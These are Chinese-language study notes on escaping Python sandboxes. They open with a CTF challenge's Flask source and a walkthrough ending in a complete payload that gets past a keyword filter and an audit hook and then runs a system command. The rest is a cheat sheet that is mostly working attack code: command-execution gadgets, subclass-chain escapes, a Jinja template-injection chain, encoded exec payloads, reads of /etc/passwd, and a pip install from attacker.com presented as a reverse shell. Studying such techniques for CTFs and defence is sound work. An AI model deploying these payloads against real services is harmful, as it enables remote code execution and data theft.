Python 沙箱逃逸学习笔记
Python 沙箱逃逸学习笔记
题目源码
from flask import Flask, render_template_string, request, jsonify
import subprocess
import tempfile
import os
import sys
app = Flask(__name__)
@app.route('/')
def index():
file_name = request.args.get('file', 'pages/index.html')
try:
with open(file_name, 'r', encoding='utf-8') as f:
content = f.read()
except Exception as e:
with open('pages/index.html', 'r', encoding='utf-8') as f:
content = f.read()
return render_template_string(content)
def waf(code):
blacklisted_keywords = ['import', 'open', 'read', 'write', 'exec', 'eval', '__', 'os', 'sys', 'subprocess', 'run', 'flag', '\'', '\"']
for keyword in blacklisted_keywords:
if keyword in code:
return False
return True
@app.route('/execute', methods=['POST'])
def execute_code():
code = request.json.get('code', '')
if not code:
return jsonify({'error': '请输入Python代码'})
if not waf(code):
return jsonify({'error': 'Hacker!})
try:
with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
f.write(f"""import sys
sys.modules['os'] = 'not allowed'
def is_my_love_event(event_name):
return event_name.startswith("Nothing is my love but you.")
def my_audit_hook(event_name, arg):
if len(event_name) > 0:
raise RuntimeError("Too long event name!")
if len(arg) > 0:
raise RuntimeError("Too long arg!")
if not is_my_love_event(event_name):
raise RuntimeError("Hacker out!")
__import__('sys').addaudithook(my_audit_hook)
{code}""")
temp_file_name = f.name
result = subprocess.run(
[sys.executable, temp_file_name],
capture_output=True,
text=True,
timeout=10
)
os.unlink(temp_file_name)
return jsonify({
'stdout': result.stdout,
'stderr': result.stderr
})
except subprocess.TimeoutExpired:
return jsonify({'error': '代码执行超时(超过10秒)'})
except Exception as e:
return jsonify({'error': f'执行出错: {str(e)}'})
finally:
if os.path.exists(temp_file_name):
os.unlink(temp_file_name)
if __name__ == '__main__':
app.run(debug=True)
解题思路引导
假设你是参加这道 CTF 题目的选手,题目环境不暴露源码。如何一步步突破限制?
第一步:信息收集 - 了解 WAF 有什么限制?
首先需要探测 WAF 过滤了哪些关键字。尝试输入各种常见的关键词:
输入: print("hello")
输出: hello
输入: import os
输出: Hacker!
输入: __import__
输出: Hacker!
输入: print('__class__')
输出: Hacker!
结论: WAF 过滤了 import、__、单双引号等关键字。
思考题:如何绕过引号和
__的过滤?
第二步:绕过 WAF - 字符串如何构造?
WAF 过滤了单引号 ' 和双引号 ",但我们需要构造字符串。有什么办法?
方法:使用 chr() 函数
# chr() 可以将 ASCII 码转换为字符
chr(0x5f) # 返回 '_'
chr(0x63) # 返回 'c'
# 组合起来
str().join(chr(x) for x in [0x5f, 0x5f, 0x63, 0x6c, 0x61, 0x73, 0x73, 0x5f, 0x5f])
# 结果: "__class__"
练习: 不用引号,如何构造字符串 "system" 和 "os"?
system = str().join(chr(x) for x in [0x73, 0x79, 0x73, 0x74, 0x65, 0x6d])
os = str().join(chr(x) for x in [0x6f, 0x73])
第三步:了解审计钩子 - 代码执行时发生了什么?
当我们提交代码后,服务端会将其包裹在一个带有审计钩子的环境中:
def my_audit_hook(event_name, arg):
if len(event_name) > 0:
raise RuntimeError("Too long event name!")
if len(arg) > 0:
raise RuntimeError("Too long arg!")
if not is_my_love_event(event_name):
raise RuntimeError("Hacker out!")
sys.addaudithook(my_audit_hook)
问题分析:
- 审计钩子检查
len(event_name) > 0和len(arg) > 0 - 这意味着任何有 event_name 或 arg 的操作都会被阻止
import、open、compile等操作都会触发审计事件
思考题:如何让
len()函数永远返回 0?
第四步:突破审计钩子 - 函数覆盖
审计钩子使用 len() 函数检查长度。如果我们重新定义 len,会怎样?
# 重新定义 len 函数
len = lambda event: 0
效果:
# 原始审计钩子
def my_audit_hook(event_name, arg):
if len(event_name) > 0: # 现在永远返回 0,条件永远为 False
raise RuntimeError("Too long event name!")
同时,我们需要覆盖 is_my_love_event:
is_my_love_event = lambda event: True
第五步:寻找命令执行点 - 如何拿到 system 函数?
我们已经知道目标:执行 os.system('/read_flag')。
但是 os 模块被 sys.modules['os'] = 'not allowed' 禁用了。如何获取 system 函数?
知识储备:Python 继承链与魔术方法
| 方法 | 作用 |
|---|---|
__class__ |
获取对象所属的类 |
__mro__ |
方法解析顺序,返回继承链 |
__subclasses__ |
返回所有子类列表 |
__init__ |
构造函数 |
__globals__ |
函数的全局变量字典 |
攻击思路:
1. 从任意对象(如 [])出发
2. 通过 __class__ 获取其类
3. 通过 __mro__ 获取 object 基类
4. 通过 __subclasses__() 获取所有子类
5. 找到包含 os 模块的类(如 os._wrap_close)
6. 从该类的 __init__.__globals__ 中获取 system 函数
本地测试:
# 在本地 Python 环境中运行
for i in object.__subclasses__():
if "_wrap_close" in i.__name__:
print(i)
# <class 'os._wrap_close'>
print(i.__init__.__globals__['system'])
# <built-in function system>
第六步:组合起来 - 构造完整 Payload
现在我们有了所有拼图:
- 用
chr()构造字符串绕过 WAF - 覆盖
len和is_my_love_event绕过审计钩子 - 用继承链找到
os._wrap_close - 获取
system函数执行命令
最终 Payload:
# 构造关键字符串
clss = str().join(chr(x) for x in [0x5f,0x5f,0x63,0x6c,0x61,0x73,0x73,0x5f,0x5f]) # __class__
mro = str().join(chr(x) for x in [0x5f,0x5f,0x6d,0x72,0x6f,0x5f,0x5f]) # __mro__
sclss = str().join(chr(x) for x in [0x5f,0x5f,0x73,0x75,0x62,0x63,0x6c,0x61,0x73,0x73,0x65,0x73,0x5f,0x5f]) # __subclasses__
it = str().join(chr(x) for x in [0x5f,0x5f,0x69,0x6e,0x69,0x74,0x5f,0x5f]) # __init__
gl = str().join(chr(x) for x in [0x5f,0x5f,0x67,0x6c,0x6f,0x62,0x61,0x6c,0x73,0x5f,0x5f]) # __globals__
ss = str().join(chr(x) for x in [0x73,0x79,0x73,0x74,0x65,0x6d]) # system
s = str().join(chr(x) for x in [0x73,0x79,0x73]) # os
cmd = str().join(chr(x) for x in [0x2f,0x72,0x65,0x61,0x64,0x5f,0x66,0x6c,0x61,0x67]) # /read_flag
wrapc = str().join(chr(x) for x in [0x5f,0x77,0x72,0x61,0x70,0x5f,0x63,0x6c,0x6f,0x73,0x65]) # _wrap_close
ne = str().join(chr(x) for x in [0x5f,0x5f,0x6e,0x61,0x6d,0x65,0x5f,0x5f]) # __name__
# 核心攻击代码
for i in getattr(getattr(getattr([],clss),mro)[1],sclss)():
try:
if (wrapc == str(getattr(i,ne))):
is_my_love_event = lambda event: True
len = lambda event: 0
r = getattr(getattr(i,it),gl)[ss](cmd)
print(r)
break
except Exception as e:
print(e)
break
Payload 逐步解析:
# 等价于:for i in object.__subclasses__():
for i in getattr(getattr(getattr([],clss),mro)[1],sclss)():
# 等价于:if "_wrap_close" == i.__name__:
if (wrapc == str(getattr(i,ne))):
# 覆盖审计钩子检查函数
is_my_love_event = lambda event: True
len = lambda event: 0
# 等价于:i.__init__.__globals__['system']('/read_flag')
r = getattr(getattr(i,it),gl)[ss](cmd)
print(r)
break
知识点总结
1. 字符串动态构造(绕过 WAF)
# 使用 chr() + ASCII 码
str().join(chr(x) for x in [0x5f, 0x63]) # "_c"
2. getattr 动态属性访问
# 原始: obj.attr
# 绕过: getattr(obj, "attr")
# 用于绕过点号访问时的 WAF 检测
getattr([], "__class__") # <class 'list'>
3. Python 继承链遍历
# 从任意对象获取 object 基类
[].__class__.__mro__[1] # <class 'object'>
# 获取所有子类
object.__subclasses__()
4. globals 获取全局变量
# 函数的 __globals__ 包含其定义时的所有全局变量
os._wrap_close.__init__.__globals__['system']
5. 函数覆盖
# 覆盖内置函数来影响其他代码的行为
len = lambda x: 0
其他绕过技巧(本 payload 未使用)
技巧六:编码绕过
# Base64
__import__('base64').b64decode('X19jbGFzc18X')
# Unicode
"\x5f\x5fclass\x5f\x5f"
# Rot13
codecs.decode(__import__('codecs'), 'rot13')
技巧七:利用异常处理
try:
raise Exception()
except Exception as e:
e.__traceback__.tb_frame.f_globals['system']('ls')
技巧八:利用元类
type.__subclasses__()
技巧九:利用描述符协议
(object).__getattribute__('__subclasses__')()
技巧十:利用 compile + exec
exec(compile('print("hello")', '<string>', 'exec'))
HackTricks - Python 沙箱逃逸完整知识整理
一、命令执行库
直接执行命令的函数
os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")
导入函数执行命令
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *
文件操作函数
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')
Python2 特有
execfile('/usr/lib/python2.7/os.py')
system('ls')
input() # 允许执行 Python 代码
二、Pickle 沙箱绕过
默认包利用
Pickle 可以使 Python 环境导入系统中安装的任意库:
import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main, (["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
Pip 反向 Shell
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
三、评估 Python 代码
exec vs eval
# exec 允许多行字符串和 ";"
exec("print('RCE'); __import__('os').system('ls')")
exec("print('RCE')\n__import__('os').system('ls')")
# eval 不允许 ";"
eval("__import__('os').system('ls')")
# 绕过 eval 限制
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))
__import__('timeit').timeit("__import__('os').system('ls')", number=1)
编码绕过
# 八进制
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
# 十六进制
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
# Base64 (仅 Python2)
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64"))
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
Pandas 代码执行
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
四、运算符和简便技巧
海象运算符 (Walrus Operator)
# 在列表内生成变量,按顺序执行
[a:=21, a*2]
# 复杂利用
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),
y.__import__('signal').alarm(0),
y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
五、编码绕过
UTF-7 编码
assert b"+AAo-".decode("utf_7") == "\n"
payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
其他编码方式:raw_unicode_escape 和 unicode_escape
六、无需调用的 Python 执行
使用装饰器进行 RCE
@exec
@input
class X:
pass
# 等价于
class X:
pass
X = input(X)
X = exec(X)
# 另一种方式
@eval
@'__import__("os").system("sh")'.format
class _: pass
利用对象创建和重载实现 RCE
自定义类实现 RCE
class RCE:
def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec # 创建对象时触发
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec # 创建对象时触发
__getitem__ = exec # obj[<argument>] 触发
__add__ = exec # obj + <argument> 触发
rce = RCE()
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce
可重载的魔术方法
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")')
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
使用元类创建对象
class Metaclass(type):
__getitem__ = exec
class Sub(metaclass=Metaclass):
pass
Sub['import os; os.system("sh")']
通过异常创建对象
class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec
raise RCE # 生成 RCE 对象
# 使用 __add__ 重载
class Klecko(Exception):
__add__ = exec
try:
raise Klecko
except Klecko as k:
k + 'import os; os.system("sh")'
其他 RCE 方法
# 使用 sys.excepthook
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0 # 触发
# 利用 apt 模块错误处理
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]
七、内建函数
有 builtins 的情况
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
无 builtins 的情况
Python2
# 重新加载 __builtins__
reload(__builtins__)
import __builtin__
# 读取文件 (offset 40 是 file 类型)
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# 写入文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
# 执行命令 (class 59 是 warnings.catch_warnings)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# 从定义的函数获取
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
# 从全局函数获取 builtins
help.__call__.__builtins__
license.__call__.__builtins__
credits.__call__.__builtins__
print.__self__
dir.__self__
globals.__self__
len.__self__
__build_class__.__self__
# 从定义的函数获取
get_flag.__globals__['__builtins__']
# 从加载的类获取
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
Python2 和 Python3 通用
# 恢复 __builtins__
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
八、全局变量和局部变量
检查可用变量
>>> globals()
{'__name__': '__main__', '__doc__': None, ...}
>>> locals()
{'__name__': '__main__', '__doc__': None, ...}
# 从定义的函数获取 globals
get_flag.__globals__
# 从类对象获取
class_obj.__init__.__globals__
# 直接从加载的类获取
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) ]
九、访问子类的不同方法
# 从任意位置访问基类
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()
# 不使用 __base__ 或 __class__
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()
# Django/Jinja 环境 (使用 attr)
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
十、寻找已加载的危险库
搜索特定库
# 搜索 sys
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
# 执行命令
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
按库搜索
# os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "'os." in str(x) ][0]['system']('ls')
# subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')
# builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
# importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
十一、Python 格式化字符串
基本信息泄露
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}
# 通过多个链接访问元素
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
格式化转换
# 使用 !s, !r, !a 分别执行 str(), repr(), ascii()
{people_obj.__init__.__globals__[CONFIG][KEY]!a}
自定义格式化程序
class HAL9000(object):
def __format__(self, format):
if (format == 'open-the-pod-bay-doors'):
return "I'm afraid I can't do that."
return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
# I'm afraid I can't do that.
十二、解剖 Python 对象
dir() 函数
dir() # 获取当前加载的所有内容
dir(get_flag) # 获取函数信息
全局变量
get_flag.func_globals
get_flag.__globals__
CustomClassObject.__class__.__init__.__globals__
访问函数代码
get_flag.__code__
get_flag.func_code
# 获取代码对象属性
dir(get_flag.__code__)
# 包含: co_argcount, co_cellvars, co_code, co_consts, co_filename, co_firstlineno, co_flags, co_freevars, co_lnotab, co_name, co_names, co_nlocals, co_stacksize, co_varnames
获取代码信息
# co_consts: 常量
get_flag.__code__.co_consts
# co_names: 字节码使用的名称
get_flag.__code__.co_names
# co_varnames: 局部变量名
get_flag.__code__.co_varnames
# co_cellvars: 非局部变量
get_flag.__code__.co_cellvars
# co_freevars: 自由变量
get_flag.__code__.co_freevars
# 获取字节码
get_flag.__code__.co_code
反汇编函数
import dis
dis.dis(get_flag)
# 如果无法导入 dis,可以获取字节码后在本地反汇编
get_flag.func_code.co_code
十三、编译 Python
创建代码对象
code_type = type((lambda: None).__code__)
code_obj = code_type(co_argcount, co_kwonlyargcount,
co_nlocals, co_stacksize, co_flags,
co_code, co_consts, co_names,
co_varnames, co_filename, co_name,
co_firstlineno, co_lnotab, freevars=None,
cellvars=None)
# 执行
eval(code_obj)
# 如果是函数代码
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
重新创建泄露的函数
fc = get_flag.__code__
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals,
fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts,
fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name,
fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars,
freevars=fc.co_freevars)
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
十四、使用内置 help 和 license 读取文件
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
十五、断言绕过
使用 -O 参数优化执行 Python 时,会移除所有断言语句:
python -O script.py
因此像这样的代码可以被绕过:
def check_permission(super_user):
try:
assert(super_user)
print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
参考资料
- HackTricks - Python 沙箱逃逸
- Python 官方文档 -
sys.addaudithook() - CTF Wiki - Python 沙箱逃逸
- https://lbarman.ch/blog/pyjail/
- https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/
- https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/
- https://gynvael.coldwind.pl/n/python_sandbox_escape
- https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html

浙公网安备 33010602011771号